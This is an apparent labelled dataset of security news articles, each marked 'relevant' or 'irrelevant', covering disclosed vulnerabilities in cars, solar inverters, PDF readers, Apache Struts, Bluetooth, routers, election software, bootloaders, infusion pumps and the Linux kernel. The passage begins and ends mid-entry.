Office Services and Web Apps, .NET Framework, and Exchange Server. Windows users are strongly advised to install the latest updates as soon as possible in order to protect themselves against the active attacks in the wild.",relevant
"Unpatchable Flaw in Modern Cars Allows Hackers to Disable Safety Features Today, many automobiles companies are offering vehicles that run on the mostly drive-by-wire system, which means a majority of car's functions—from instrument cluster to steering, brakes, and accelerator—are electronically controlled. No doubt these auto-control systems make your driving experience much better, but at the same time, they also increase the risk of getting hacked. Car Hacking is a hot topic, though it is not new for security researchers who hack cars. A few of them have already demonstrated how to hijack a car remotely, how to disable car's crucial functions like airbags, and even how to remotely steal cars. Now, security researchers have discovered a new hacking trick that can allow attackers to disable airbags and other safety systems of the connected cars, affecting a large number of vendors and vehicle models. A team of researchers from Trend Micro's Forward-looking Threat Research (FTR) team, in collaboration with Politecnico di Milano and Linklayer Labs, discovered a critical security vulnerability in the CAN (controller area network) protocol that car components use to communicate to one another within the car's network. Hackers Can Remotely Take Control of Smart Cars car-can-network Initially developed in 1983 and put into production in 1989, the CAN standard manages the majority of the electrical subsystems and control units found in a significant number of modern smart cars. If exploited, the vulnerability could eventually allow attackers to turn off crucial safety functions of a vehicle, such as airbags, power-steering, parking sensors, and the anti-lock brakes—or almost any computerised component that's connected to the car's CAN bus. Since the CAN standard is being used in ""practically every light-duty vehicle currently in circulation today,"" the fundamental security flaw affects all modern, internet-connected vehicles, rather than just a particular vendor. How Your Smart Car Can Get Hacked? The hack particularly targets the messaging system in CAN, in which messages, including errors, are called ""frames."" ""Our attack focuses on how CAN handles errors. Errors arise when a device reads values that do not correspond to the original expected value on a frame,"" Trend Micro researcher Federico Maggi writes in a blog post. ""When a device detects such an event, it writes an error message onto the CAN bus in order to ""recall"" the errant frame and notify the other devices to entirely ignore the recalled frame."" By overloading the system with error messages, attackers can make a device to go into a Bus Off state, cutting it off from the greater CAN system and making it inoperable. This, in turn, allows attackers to deactivate essential systems like the airbag system or the anti-lock braking system, which could result in dangerous and even fatal situations. The attack requires a ""specially-crafted attack device"" to be introduced via local access, which is only possible if the attacker has access to your vehicle. However, researchers believe that current transportation trends like ride-sharing, carpooling, and car renting have made the scenario much easier. It's a Design Flaw — Can't Be Patched! Since the vulnerability exists in the design of the CAN bus messaging protocol used in CAN controller chips, the issue can not be directly patched with an OTA (on-the-air) upgrade or dealer recall. Patching this design flaw requires changes in the CAN standards and an entire generation of vehicles using this specification. So, unfortunately, there is no remedy to the problem yet. However, the researchers recommended car manufacturers to adopt some network countermeasures, which would mitigate such attacks, but not entirely. ""Car manufacturers can only mitigate the attack we demonstrated by adopting specific network countermeasures, but cannot eliminate it entirely,"" the researchers said. ""To eliminate the risk entirely, an updated CAN standard should be proposed, adopted, and implemented. This whole process would likely require another generation of vehicles."" Researchers also suggest car makers even to consider adding a layer of encryption to the CAN bus protocol that will make messages harder to mimic, as part of a long-term security solution.",irrelevant
"Malware Encoded Into DNA Hacks the Computer that Reads It Do you know — 1 Gram of DNA Can Store 1,000,000,000 Terabyte of Data for 1000+ Years? Even in March this year, a team of researchers successfully stored digital data — an entire operating system, a movie, an Amazon gift card, a study and a computer virus — in the strands of DNA. But what if someone stores a malicious program into the DNA, just like an infected USB storage, to hijack the computer that reads it. A team of researchers from the University of Washington in Seattle have demonstrated the first successful DNA-based exploit of a computer system that executes the malicious code written into the synthesised DNA strands while reading it. To carry out the hack, the researchers created biological malware and encoded it in a short stretch of DNA, which allowed them to gain ""full control"" of a computer that tried to process the genetic data when read by a DNA sequencing machine. The DNA-based hack becomes possible due to lack of security in multiple DNA processing software available online, which contains insecure function calls and buffer overflow vulnerabilities. ""We analysed the security of 13 commonly used, open source programs. We selected these programs methodically, choosing ones written in C/C++,"" reads the research paper [PDF], titled ""Computer Security, Privacy, and DNA Sequencing: Compromising Computers with Synthesized DNA, Privacy Leaks, and More."" ""We found that existing biological analysis programs have a much higher frequency of insecure C runtime library function calls (e.g., strcpy). This suggests that DNA processing software has not incorporated modern software security best practices."" To create the biological malware, the researchers translated a simple computer program into a short stretch of 176 DNA letters, denoted as A, G, C, and T, each representing a binary pair (A=00, C=01, G=10, T=11). The exploit took advantage of a basic buffer overflow attack, in which a software program executes the malicious command because it falls outside maximum length. The command then contacted a server controlled by the team, from where the researchers took control of a computer in their laboratory they were using to analyse the DNA file. ""Our exploit did not target a program used by biologists in the field; rather it targeted one that we modified to contain a known vulnerability,"" the researchers said. Although this kind of hack probably doesn't pose any threat anytime soon, the team warned that hackers could in future use fake blood or spit samples to gain access to computers, steal information, or hack medical equipments installed at forensic labs, hospitals and the DNA-based data storage centers. The researchers will be presenting this first ""DNA-based exploit of a computer system"" at the next week's Usenix Security Symposium in Vancouver. For the more in-depth explanation on the DNA-based hack, you can head on to the research paper.",irrelevant
"Critical Flaws Found in Solar Panels Could Shut Down Power Grids A Dutch security researcher has uncovered a slew of security vulnerabilities in an essential component of solar panels which could be exploited to cause widespread outages in European power grids. Willem Westerhof, a cybersecurity researcher at Dutch security firm ITsec, discovered 21 security vulnerabilities in the Internet-connected inverters – an essential component of solar panel that turns direct current (DC) into alternating current (AC). According to Westerhof, the vulnerabilities leave thousands of Internet-connected power inverters installed across Europe vulnerable. Westerhof demonstrates that it is possible for hackers to gain control of a large number of inverters and switch them OFF simultaneously, causing an imbalance in the power grid that could result in power outages in different parts of Europe. The vulnerabilities affect solar panel electricity systems, also known as photovoltaics (PV), made by German solar equipment company SMA, which if exploited in mass, could result in electrical grids getting knocked offline. Westerhof's research, called the ""Horus Scenario"" – named after the Egyptian god of the sky, was first published in a Dutch newspaper Volkskrant, and now he launched a website detailing the vulnerabilities and how a digital attack could lead to terrible consequences. Solar-Panels-hacking According to the researcher, the attack causes due to an imbalance in the power grid. Since the power grid needs to maintain a constant balance between the supply of power and demand of power, an exceed in supply or demand could cause outages. So, if an attacker manipulates the amount of PV power in a power grid at a particular time, an attacker could cause peaks or dips of several GigaWatts, causing a massive imbalance which may lead to large scale power outages. For a country like Germany, where solar energy covers up to 50 percent of its power demand, such a devastating attack would instantly cause a significant power outage, which would adversely affect millions of people and cost governments billions of dollars. To explain this scenario in real life, Westerhof analysed the PV inverters made by SMA and discovered 17 vulnerabilities, 14 of which received CVE IDs and CVSS scores ranging from 3 (Informational) to 9 (Critical). ""In the worst case scenario, an attacker compromises enough devices and shuts down all these devices at the same time causing threshold values to be hit"" and ""a 3 hour power outage across Europe, somewhere mid day on June is estimated to cause +/- 4.5 billion euros of damage,"" Westerhof writes. Westerhof reported all the vulnerabilities to SMA in late 2016 and worked with the company, power grid regulators, and government officials to fix the issues and harden up the security of their systems. More than six months later, the company patched the flaws in its kit and is rolling out patches to its customers, while power grid regulators and the government will discuss the findings at international conferences. Luckily it was a white hat who discovered the flaws in the solar panel which could have caused a devastating effect on the entire nation. If it were a black hat, it could have resulted in massive power outages across Europe similar to the one suffered by Ukraine last year.",relevant
"Two Critical Zero-Day Flaws Disclosed in Foxit PDF Reader Are you using Foxit PDF Reader? If yes, then you need to watch your back. Security researchers have discovered two critical zero-day security vulnerabilities in Foxit Reader software that could allow attackers to execute arbitrary code on a targeted computer, if not configured to open files in the Safe Reading Mode. The first vulnerability (CVE-2017-10951) is a command injection bug discovered by researcher Ariele Caltabiano working with Trend Micro's Zero Day Initiative (ZDI), while the second bug (CVE-2017-10952) is a file write issue found by Offensive Security researcher Steven Seeley. An attacker can exploit these bugs by sending a specially crafted PDF file to a Foxit user and enticing them to open it. Foxit refused to patch both the vulnerabilities because they would not work with the ""safe reading mode"" feature that fortunately comes enabled by default in Foxit Reader. ""Foxit Reader & PhantomPDF has a Safe Reading Mode which is enabled by default to control the running of JavaScript, which can effectively guard against potential vulnerabilities from unauthorized JavaScript actions,"" the company says. However, researchers believe building a mitigation doesn't patch the vulnerabilities completely, which if remained unpatched, could be exploited if attackers find a way to bypass safe reading mode in the near future. Both unpatched vulnerabilities can be triggered through the JavaScript API in Foxit Reader. CVE-2017-10951: The command injection bug resides in an app.launchURL function that executes strings provided by attackers on the targeted system due to lack of proper validation, as demonstrated in the video given below. CVE-2017-10952: This vulnerability exists within the ""saveAs"" JavaScript function that allows attackers to write an arbitrary file on a targeted system at any specific location, as demonstrated in the video given below. ""Steven exploited this vulnerability by embedding an HTA file in the document, then calling saveAS to write it to the startup folder, thus executing arbitrary VBScript code on startup,"" reads the advisory published by the ZDI. If you are one of those using Foxit Reader and PhantomPDF, ensure you have the ""Safe Reading Mode"" feature enabled. Additionally, you can also uncheck the ""Enable JavaScript Actions"" from Foxit's Preferences menu, although this may break some functionality. Users are also recommended always to be vigilant while opening any files they received via email. Just recently, we reported how opening a malicious PowerPoint file could compromise your computer with malware. So, always beware of phishing emails, spams, and clicking the malicious attachment. Update: Foxit Response Foxit spokesperson has provided the following statement to The Hacker News via an Email: ""Foxit Software is deeply committed to delivering secure PDF products to its customers. Our track record is strong in responding quickly in fixing vulnerabilities. We are currently working to rapidly address the two vulnerabilities reported on the Zero Day Initiative blog and will quickly deliver software improvements. In the meantime, users can help protect themselves by using the Safe Reading Mode."" ""We apologize for our initial miscommunication when contacted about these vulnerabilities and are making changes to our procedures to mitigate the probability of it occurring again.""",relevant
"Adobe Patches Two Critical RCE Vulnerabilities in Flash Player Adobe may kill Flash Player by the end of 2020, but until then, the company would not stop providing security updates to the buggy software. As part of its monthly security updates, Adobe has released patches for eight security vulnerabilities in its three products, including two vulnerabilities in Flash Player, four in ColdFusion, and two in RoboHelp—five of these are rated as critical. Both of the Adobe Flash Player vulnerabilities can be exploited for remote code execution on the affected device, and both have been classified as critical. None of the patched vulnerabilities has reportedly been exploited in the wild, according to the company. The critical Flash Player flaws are tracked as CVE-2017-11281 and CVE-2017-11282 and were discovered by Mateusz Jurczyk and Natalie Silvanovich of Google Project Zero, respectively. Both the security vulnerabilities are memory corruption issues that could lead to remote code execution and affect all major operating system, including Windows, Macintosh, Linux and Chrome OS. The vulnerabilities have been updated in the latest Flash Player version 27.0.0.130. The remaining three critical and one important flaw reside in Cold Fusion, including a critical XML parsing flaw (CVE-2017-11286), an important XSS (cross-site scripting) bug (CVE-2017-11285) that could lead to information disclosure and mitigation for unsafe Java deserialization, resulting in remote code execution (CVE-2017-11283, CVE-2017-11284). These vulnerabilities affect all platforms and have been discovered and reported by Nick Bloor of NCC Group, Daniel Sayk of Telekom Security and Daniel Lawson of Depth Security. The issues have been patched in the latest Adobe ColdFusion version 2016 Release Update 5 and version 11 Update 13. The rest of the two flaws—one important (CVE-2017-3104) and one rated moderate (CVE-2017-3105)—affects Windows version of Adobe's help authoring tool RoboHelp. The important bug is an input validation flaw that could allow for a DOM-based cross-site scripting (XSS) attack, while the moderate-severity invalidated URL redirect vulnerability could be used in phishing campaigns to deliver malware. The vulnerabilities have been patched in the latest Adobe RoboHelp version RH2017.0.2 and RH12.0.4.460 (Hotfix). Although no exploits for these patched vulnerabilities have been spotted in the wild by the company, users are strongly advised to patch their software as soon as possible to protect themselves from any remote attack.",relevant
"Apache Struts 2 Flaws Affect Multiple Cisco Products After Equifax massive data breach that was believed to be caused due to a vulnerability in Apache Struts, Cisco has initiated an investigation into its products that incorporate a version of the popular Apache Struts2 web application framework. Apache Struts is a free, open-source MVC framework for developing web applications in the Java programming language, and used by 65 percent of the Fortune 100 companies, including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS. However, the popular open-source software package was recently found affected by multiple vulnerabilities, including two remote code execution vulnerabilities—one discovered earlier this month, and another in March—one of which is believed to be used to breach personal data of over 143 million Equifax users. Some of Cisco products including its Digital Media Manager, MXE 3500 Series Media Experience Engines, Network Performance Analysis, Hosted Collaboration Solution for Contact Center, and Unified Contact Center Enterprise have been found vulnerable to multiple Apache Struts flaws. Cisco Launches Apache Struts Vulnerability Hunting Cisco is also testing rest of its products against four newly discovered security vulnerability in Apache Struts2, including the one (CVE-2017-9805) we reported on September 5 and the remaining three also disclosed last week. However, the remote code execution bug (CVE-2017-5638) that was actively exploited back in March this year is not included by the company in its recent security audit. The three vulnerabilities—CVE-2017-9793, CVE-2017-9804 and CVE-2017-9805—included in the Cisco security audit was released by the Apache Software Foundation on 5th September with the release of Apache Struts 2.5.13 which patched the issues. The fourth vulnerability (CVE-2017-12611) that is being investigated by Cisco was released on 7th September with the release of Apache Struts 2.3.34 that fixed the flaw that resided in the Freemarker tag functionality of the Apache Struts2 package and could allow an unauthenticated, remote attacker to execute malicious code on an affected system. Apache Struts Flaw Actively Exploited to Hack Servers & Deliver Malware Coming on to the most severe of all, CVE-2017-9805 (assigned as critical) is a programming bug that manifests due to the way Struts REST plugin handles XML payloads while deserializing them. This could allow a remote, unauthenticated attacker to achieve remote code execution on a host running a vulnerable version of Apache Struts2, and Cisco's Threat intelligence firm Talos has observed that this flaw is under active exploitation to find vulnerable servers. Security researchers from data centre security vendor Imperva recently detected and blocked thousands of attacks attempting to exploit this Apache Struts2 vulnerability (CVE-2017-9805), with roughly 80 percent of them tried to deliver a malicious payload. The majority of attacks originated from China with a single Chinese IP address registered to a Chinese e-commerce company sending out more than 40% of all the requests. Attacks also came from Australia, the U.S., Brazil, Canada, Russia and various parts of Europe. Out of the two remaining flaws, one (CVE-2017-9793) is again a vulnerability in the REST plug-in for Apache Struts that manifests due to ""insufficient validation of user-supplied input by the XStream library in the REST plug-in for the affected application."" This flaw has been given a Medium severity and could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on targeted systems. The last flaw (CVE-2017-9804) also allows an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected system but resides in the URLValidator feature of Apache Struts. Cisco is testing its products against these vulnerabilities including its WebEx Meetings Server, the Data Center Network Manager, Identity Services Engine (ISE), MXE 3500 Series Media Experience Engines, several Cisco Prime products, some products for voice and unified communications, as well as video and streaming services. At the current, there are no software patches to address the vulnerabilities in Cisco products, but the company promised to release updates for affected software which will soon be accessible through the Cisco Bug Search Tool. Since the framework is being widely used by a majority of top 100 fortune companies, they should also check their infrastructures against these vulnerabilities that incorporate a version of Apache Struts2.",relevant
"Critical Flaw in Apache Struts2 Lets Hackers Take Over Web Servers Security researchers have discovered a critical remote code execution vulnerability in the popular Apache Struts web application framework, allowing a remote attacker to run malicious code on the affected servers. Apache Struts is a free, open-source, Model-View-Controller (MVC) framework for developing web applications in the Java programming language, which supports REST, AJAX, and JSON. The vulnerability (CVE-2017-9805) is a programming blunder that resides in the way Struts processes data from an untrusted source. Specifically, Struts REST plugin fails to handle XML payloads while deserializing them properly. All versions of Apache Struts since 2008 (Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12) are affected, leaving all web applications using the framework's REST plugin vulnerable to remote attackers. According to one of the security researchers at LGTM, who discovered this flaw, the Struts framework is being used by ""an incredibly large number and variety of organisations,"" including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS. ""On top of that, [the vulnerability] is incredibly easy for an attacker to exploit this weakness: all you need is a web browser,"" Man Yue Mo, an LGTM security researcher said. All an attacker needs is to submit a malicious XML code in a particular format to trigger the vulnerability on the targeted server. Successful exploitation of the vulnerability could allow an attacker to take full control of the affected server, eventually letting the attacker infiltrate into other systems on the same network. Mo said this flaw is an unsafe deserialization in Java similar to a vulnerability in Apache Commons Collections, discovered by Chris Frohoff and Gabriel Lawrence in 2015 that also allowed arbitrary code execution. Many Java applications have since been affected by multiple similar vulnerabilities in recent years. Since this vulnerability has been patched in Struts version 2.5.13, administrators are strongly advised to upgrade their Apache Struts installation as soon as possible. More technical details about the vulnerability and proof-of-concept have not been published by the researchers yet, giving admins enough time to upgrade their systems.",relevant
"BlueBorne: Critical Bluetooth Attack Puts Billions of Devices at Risk of Hacking If you are using a Bluetooth enabled device, be it a smartphone, laptop, smart TV or any other IoT device, you are at risk of malware attacks that can carry out remotely to take over your device even without requiring any interaction from your side. Security researchers have just discovered total 8 zero-day vulnerabilities in Bluetooth protocol that impact more than 5.3 Billion devices—from Android, iOS, Windows and Linux to the Internet of things (IoT) devices—using the short-range wireless communication technology. Using these vulnerabilities, security researchers at IoT security firm Armis have devised an attack, dubbed BlueBorne, which could allow attackers to completely take over Bluetooth-enabled devices, spread malware, or even establish a ""man-in-the-middle"" connection to gain access to devices' critical data and networks without requiring any victim interaction. All an attacker need is for the victim's device to have Bluetooth turned on and obviously, in close proximity to the attacker's device. Moreover, successful exploitation doesn't even require vulnerable devices to be paired with the attacker's device. BlueBorne: Wormable Bluetooth Attack bluetooth-hacking What's more worrisome is that the BlueBorne attack could spread like the wormable WannaCry ransomware that emerged earlier this year and wrecked havoc by disrupting large companies and organisations worldwide. Ben Seri, head of research team at Armis Labs, claims that during an experiment in the lab, his team was able to create a botnet network and install ransomware using the BlueBorne attack. However, Seri believes that it is difficult for even a skilled attacker to create a universal wormable exploit that could find Bluetooth-enabled devices, target all platform together and spread automatically from one infected device to others. ""Unfortunately, this set of capabilities is extremely desireable to a hacker. BlueBorne can serve any malicious objective, such as cyber espionage, data theft, ransomware, and even creating large botnets out of IoT devices like the Mirai Botnet or mobile devices as with the recent WireX Botnet,"" Armis said. ""The BlueBorne attack vector surpasses the capabilities of most attack vectors by penetrating secure ""air-gapped"" networks which are disconnected from any other network, including the internet."" Apply Security Patches to Prevent Bluetooth Hacking The security firm responsibly disclosed the vulnerabilities to all the major affected companies a few months ago—including Google, Apple and Microsoft, Samsung and Linux Foundation. These vulnerabilities include: Information Leak Vulnerability in Android (CVE-2017-0785) Remote Code Execution Vulnerability (CVE-2017-0781) in Android's Bluetooth Network Encapsulation Protocol (BNEP) service Remote Code Execution Vulnerability (CVE-2017-0782) in Android BNEP's Personal Area Networking (PAN) profile The Bluetooth Pineapple in Android—Logical flaw (CVE-2017-0783) Linux kernel Remote Code Execution vulnerability (CVE-2017-1000251) Linux Bluetooth stack (BlueZ) information leak vulnerability (CVE-2017-1000250) The Bluetooth Pineapple in Windows—Logical flaw (CVE-2017-8628) Apple Low Energy Audio Protocol Remote Code Execution vulnerability (CVE Pending) Google and Microsoft have already made security patches available to their customers, while Apple iOS devices running the most recent version of its mobile operating system (that is 10.x) are safe. ""Microsoft released security updates in July and customers who have Windows Update enabled and applied the security updates, are protected automatically. We updated to protect customers as soon as possible, but as a responsible industry partner, we withheld disclosure until other vendors could develop and release updates."" – a Microsoft spokesperson said. What's worst? All iOS devices with 9.3.5 or older versions and over 1.1 Billion active Android devices running older than Marshmallow (6.x) are vulnerable to the BlueBorne attack. Moreover, millions of smart Bluetooth devices running a version of Linux are also vulnerable to the attack. Commercial and consumer-oriented Linux platform (Tizen OS), BlueZ and 3.3-rc1 are also vulnerable to at least one of the BlueBorne bugs. Android users need to wait for security patches for their devices, as it depends on your device manufacturers. In the meantime, they can install ""BlueBorne Vulnerability Scanner"" app (created by Armis team) from Google Play Store to check if their devices are vulnerable to BlueBorne attack or not. If found vulnerable, you are advised to turn off Bluetooth on your device when not in use.",relevant
"Researcher Discloses 10 Zero-Day Flaws in D-Link 850L Wireless Routers A security researcher has discovered not one or two but a total of ten critical zero-day vulnerabilities in routers from Taiwan-based networking equipment manufacturer D-Link which leave users open to cyber attacks. D-Link DIR 850L wireless AC1200 dual-band gigabit cloud routers are vulnerable to 10 security issues, including ""several trivial"" cross-site scripting (XSS) flaws, lack of proper firmware protection, backdoor access, and command injection attacks resulting in root access. If successfully exploited, these vulnerabilities could allow hackers to intercept connection, upload malicious firmware, and get root privileges, enabling them to remotely hijack and control affected routers, as well as network, leaving all connected devices vulnerable to cyber attacks as well. These zero-day vulnerabilities were discovered by Pierre Kim—the same security researcher who last year discovered and reported multiple severe flaws in D-Link DWR-932B LTE router, but the company ignored the issues. The same happened in February, when the researcher reported nine security flaws in D-Link products but disclosed the vulnerabilities citing a ""very badly coordinated"" disclosure with D-Link. So, Kim opted to publicly disclose the details of these zero-day flaws this time and published their details without giving the Taiwan-based networking equipment maker the chance to fix them. Here's the list of 10 zero-day vulnerabilities affect both D-Link 850L revision A and revision B Kim discovered: Lack of proper firmware protection—since the protection of the firmware images is non-existent, an attacker could upload a new, malicious firmware version to the router. Firmware for D-Link 850L RevA has no protection at all, while firmware for D-Link 850L RevB is protected but with a hardcoded password. Cross-site scripting (XSS) Flaws—both LAN and WAN of D-Link 850L RevA is vulnerable to ""several trivial"" XSS vulnerability, allowing an attacker ""to use the XSS to target an authenticated user in order to steal the authentication cookies."" Retrieve admin passwords—both LAN and WAN of D-Link 850L RevB are also vulnerable, allowing an attacker to retrieve the admin password and use the MyDLink cloud protocol to add the user's router to the attacker's account to gain full access to the router. Weak cloud protocol—this issue affects both D-Link 850L RevA and RevB. MyDLink protocol works via a TCP tunnel that use no encryption at all to protect communications between the victim's router and the MyDLink account. Backdoor Access—D-Link 850L RevB routers have backdoor access via Alphanetworks, allowing an attacker to get a root shell on the router. Private keys hardcoded in the firmware—the private encryption keys are hardcoded in the firmware of both D-Link 850L RevA and RevB, allowing to extract them to perform man-in-the-middle (MitM) attacks. No authentication check—this allows attackers to alter the DNS settings of a D-Link 850L RevA router via non-authenticated HTTP requests, forward the traffic to their servers, and take control of the router. Weak files permission and credentials stored in cleartext—local files are exposed in both D-Link 850L RevA and RevB. In addition, routers store credentials in clear text. Pre-Authentication RCEs as root—the internal DHCP client running on D-Link 850L RevB routers is vulnerable to several command injection attacks, allowing attackers to gain root access on the affected devices. Denial of Service (DoS) bugs—allow attackers to crash some daemons running in both D-Link 850L RevA and RevB remotely via LAN. Kim advised users to cut the connections with the affected D-Link router in order to be safe from such attacks. According to Kim, ""the Dlink 850L is a router overall badly designed with a lot of vulnerabilities. Basically, everything was pwned, from the LAN to the WAN. Even the custom MyDlink cloud protocol was abused."" You can get full details of all 10 zero-day vulnerabilities on Kim's website as well as on security mailing lists. The security of D-Link products has recently been questioned when the U.S. Federal Trade Commission, FTC sued the company earlier this year, alleging that the lax security left its products and therefore, ""thousands of consumers"" vulnerable to hackers.",relevant
"Proof It's Possible to Hack German Elections; Hackers Tamper with Voting-Software Germany's democracy is in danger, as the upcoming federal elections in the country, where nearly 61.5 million citizens are going to vote on September 24th, could be hijacked. Hackers have disclosed how to hack the German voting software to tamper with votes and alter the outcome of an election. Yes, election hacking is no theory—it is happening. A team of researchers from German hacking group Chaos Computer Club (CCC) has discovered several critical vulnerabilities in PC-Wahl—software used to capture, tabulate and transfer the votes from local polling centres to the state level during all parliamentary elections for decades. According to the CCC analysis, vulnerabilities could lead to multiple practicable attack scenarios that eventually allow malicious agents in the electoral office to change total vote counts. Critical Flaws Found In German Voting-Software The hacker collective found that the automatic software update module of PC-Wahl downloads packages over insecure HTTP connection and does not perform any integrity check using digital signatures. Moreover, the software uses an older encryption method with a single secret key hard-coded in the software, rather than asymmetrical encryption that offers better security by design. The Software includes an FTP module that sends the voting results to a central password-protected FTP server, but the researchers believe the password for data sharing has been shared among electoral staff. ""The same access data has always been used for various polling stations and constituencies in Hesse for many years so that an attacker has been able to manipulate the results of all municipalities simultaneously and centrally,"" the research paper [PDF] (translated) reads. The group has published the proof-of-concept attack tools against the PC-Wahl software with source codes on GitHub. Software Company Denied Vulnerability Report According to the German Spiegel magazine, the manufacturer of PC-Wahl had denied the allegations that its software was vulnerable to cyber attacks. The CCC hacking collective has urged the German government and election commission to take necessary actions to tackle the issues in the election software in order to protect the September 24 election that the group fear could be subject to interference. In response, German Federal Election Director Dieter Sarreither said he was familiar with the issues discovered by the CCC and had asked state officials and the software company to take necessary steps to address them, Reuters reported. German federal cyber protection agency, BSI, said the agency had worked closely with election officials and the software manufacturer to improve the security of election results. ""In the future, only information technology based on BSI-certified software should be used for election processes,"" says BSI chief Arne Schoenbohm. Hacking voting machine is not a new thing. Two months ago, several hackers managed to hack into multiple US voting machines in a short period—in some cases, within minutes—at Def Con. Election hacking has become a major debate following the 2016 US presidential election, where it was reported that Russian hackers managed to access United States voting machines in 39 states in the run-up to the election. However, there is no evidence yet to justify the claims.",irrelevant
"Mobile Bootloaders From Top Manufacturers Found Vulnerable to Persistent Threats Security researchers have discovered several severe zero-day vulnerabilities in the mobile bootloaders from at least four popular device manufacturers that could allow an attacker to gain persistent root access on the device. A team of nine security researchers from the University of California Santa Barbara created a special static binary tool called BootStomp that automatically detects security vulnerabilities in bootloaders. Since bootloaders are usually closed source and hard to reverse-engineer, performing analysis on them is difficult, especially because hardware dependencies hinder dynamic analysis. Therefore, the researchers created BootStomp, which ""uses a novel combination of static analysis techniques and underconstrained symbolic execution to build a multi-tag taint analysis capable of identifying bootloader vulnerabilities."" The tool helped the researchers discover six previously-unknown critical security bugs across bootloaders from HiSilicon (Huawei), Qualcomm, MediaTek, and NVIDIA, which could be exploited by attackers to unlock device bootloader, install custom malicious ROM and persistent rootkits. Five of the vulnerabilities have already been confirmed by their respective by the chipset vendors. Researchers also found a known bug (CVE-2014-9798) in Qualcomm's bootloaders, which was previously reported in 2014, but still present and usable. mobile-bootloader-hacking In a research paper [PDF], titled ""BootStomp: On the Security of Bootloaders in Mobile Devices,"" presented at the USENIX conference in Vancouver, the researchers explain that some of the discovered flaws even allow an attacker with root privileges on the Android operating system to execute malicious code as part of the bootloader or to perform permanent denial-of-service attacks. According to the researchers, the vulnerabilities impact the ARM's ""Trusted Boot"" or Android's ""Verified Boot"" mechanisms that chip-set vendors have implemented to establish a Chain of Trust (CoT), which verifies the integrity of each component the system loads while booting the device. Overview: Discovered Bootloader Vulnerabilities The researchers tested five different bootloader implementations in Huawei P8 ALE-L23 (Huawei / HiSilicon chipset), Nexus 9 (NVIDIA Tegra chipset), Sony Xperia XA (MediaTek chipset) and two versions of the LK-based bootloader, developed by Qualcomm. The researcher discovered five critical vulnerabilities in the Huawei Android bootloader: An arbitrary memory write or denial of service (DoS) issue when parsing Linux Kernel's DeviceTree (DTB) stored in the boot partition. A heap buffer overflow issue when reading the root-writable oem_info partition. A root user's ability to write the nve and oem_info partitions, from which configuration data and memory access permissions governing the smartphone's peripherals can be read. A memory corruption issue that could allow an attacker to install a persistent rootkit. An arbitrary memory write bug that lets an attacker run arbitrary code as the bootloader itself. Another flaw was discovered in NVIDIA's hboot, which operates at EL1, meaning that it has equivalent privilege on the hardware as the Linux kernel, which once compromised, can lead to an attacker gaining persistence. The researchers also discovered a known, already patched vulnerability (CVE-2014-9798) in old versions of Qualcomm's bootloader that could be exploited to cause a denial of service situation. The researchers reported all the vulnerabilities to the affected vendors. Huawei confirmed all the five vulnerabilities and NVIDIA is working with the researchers on a fix. The team of researchers has also proposed a series of mitigations to both limit the attack surface of the bootloader as well as enforce various desirable properties aimed at safeguarding the security and privacy of users.",relevant
"Hackers Can Remotely Access Syringe Infusion Pumps to Deliver Fatal Overdoses Internet-of-things are turning every industry into the computer industry, making customers think that their lives would be much easier with smart devices. However, such devices could potentially be compromised by hackers. There are, of course, some really good reasons to connect certain devices to the Internet. But does everything need to be connected? Of course, not—especially when it comes to medical devices. Medical devices are increasingly found vulnerable to hacking. Earlier this month, the US Food and Drug Administration (FDA) recalled 465,000 pacemakers after they were found vulnerable to hackers. Now, it turns out that a syringe infusion pump used in acute care settings could be remotely accessed and manipulated by hackers to impact the intended operation of the device, ICS-CERT warned in an advisory issued on Thursday. An independent security researcher has discovered not just one or two, but eight security vulnerabilities in the Medfusion 4000 Wireless Syringe Infusion Pump, which is manufactured by Minnesota-based speciality medical device maker Smiths Medical. The devices are used across the world for delivering small doses of medication in acute critical care, such as neonatal and pediatric intensive care and the operating room. Some of these vulnerabilities discovered by Scott Gayou are high in severity that can easily be exploited by a remote attacker to ""gain unauthorized access and impact the intended operation of the pump."" According to the ICS-CERT, ""Despite the segmented design, it may be possible for an attacker to compromise the communications module and the therapeutic module of the pump."" The most critical vulnerability (CVE-2017-12725) has been given a CVSS score of 9.8 and is related to the use of hard-coded usernames and passwords to automatically establish a wireless connection if the default configuration is not changed. The high-severity flaws include: A buffer overflow bug (CVE-2017-12718) that could be exploited for remote code execution on the target device in certain conditions. Lack of authentication (CVE-2017-12720) if the pump is configured to allow FTP connections. Presence of hard-coded credentials (CVE-2017-12724) for the pump's FTP server. Lack of proper host certificate validation (CVE-2017-12721), leaving the pump vulnerable to man-in-the-middle (MitM) attacks. The remaining are medium severity flaws which could be exploited by attackers to crash the communications and operational modules of the device, authenticate to telnet using hard-coded credentials, and obtain passwords from configuration files. These vulnerabilities impact devices that are running versions 1.1, 1.5 and 1.6 of the firmware, and Smiths Medical has planned to release a new product version 1.6.1 in January 2018 to address these issues. But in the meantime, healthcare organizations are recommended to apply some defensive measures including assigning static IP addresses to pumps, monitoring network activity for malicious servers, installing the pump on isolated networks, setting strong passwords, and regularly creating backups until patches are released.",relevant
"2-Year-Old Linux Kernel Issue Resurfaces As High-Risk Flaw A bug in Linux kernel that was discovered two years ago, but was not considered a security threat at that time, has now been recognised as a potential local privilege escalation flaw. Identified as CVE-2017-1000253, the bug was initially discovered by Google researcher Michael Davidson in April 2015. Since it was not recognised as a serious bug at that time, the patch for this kernel flaw was not backported to long-term Linux distributions in kernel 3.10.77. However, researchers at Qualys Research Labs has now found that this vulnerability could be exploited to escalate privileges and it affects all major Linux distributions, including Red Hat, Debian, and CentOS. The vulnerability left ""all versions of CentOS 7 before 1708 (released on September 13, 2017), all versions of Red Hat Enterprise Linux 7 before 7.4 (released on August 1, 2017), and all versions of CentOS 6 and Red Hat Enterprise Linux 6 are exploitable,"" Qualys said in an advisory published yesterday. The vulnerability, which has been given a CVSS3 Base Score of 7.8 out of 10, resides in the way Linux kernel loads ELF executables, which potentially results in memory corruption. Researchers find that an unprivileged local user with access to SUID (or otherwise privileged) Position Independent Executable (PIE) binary could use this vulnerability to escalate their privileges on the affected system. In order to mitigate this issue, users can switch to the legacy mmap layout by setting vm.legacy_va_layout to 1, which will effectively disable the exploitation of this security flaw. Since the mmap allocations start much lower in the process address space and follow the bottom-up allocation model, ""the initial PIE executable mapping is far from the 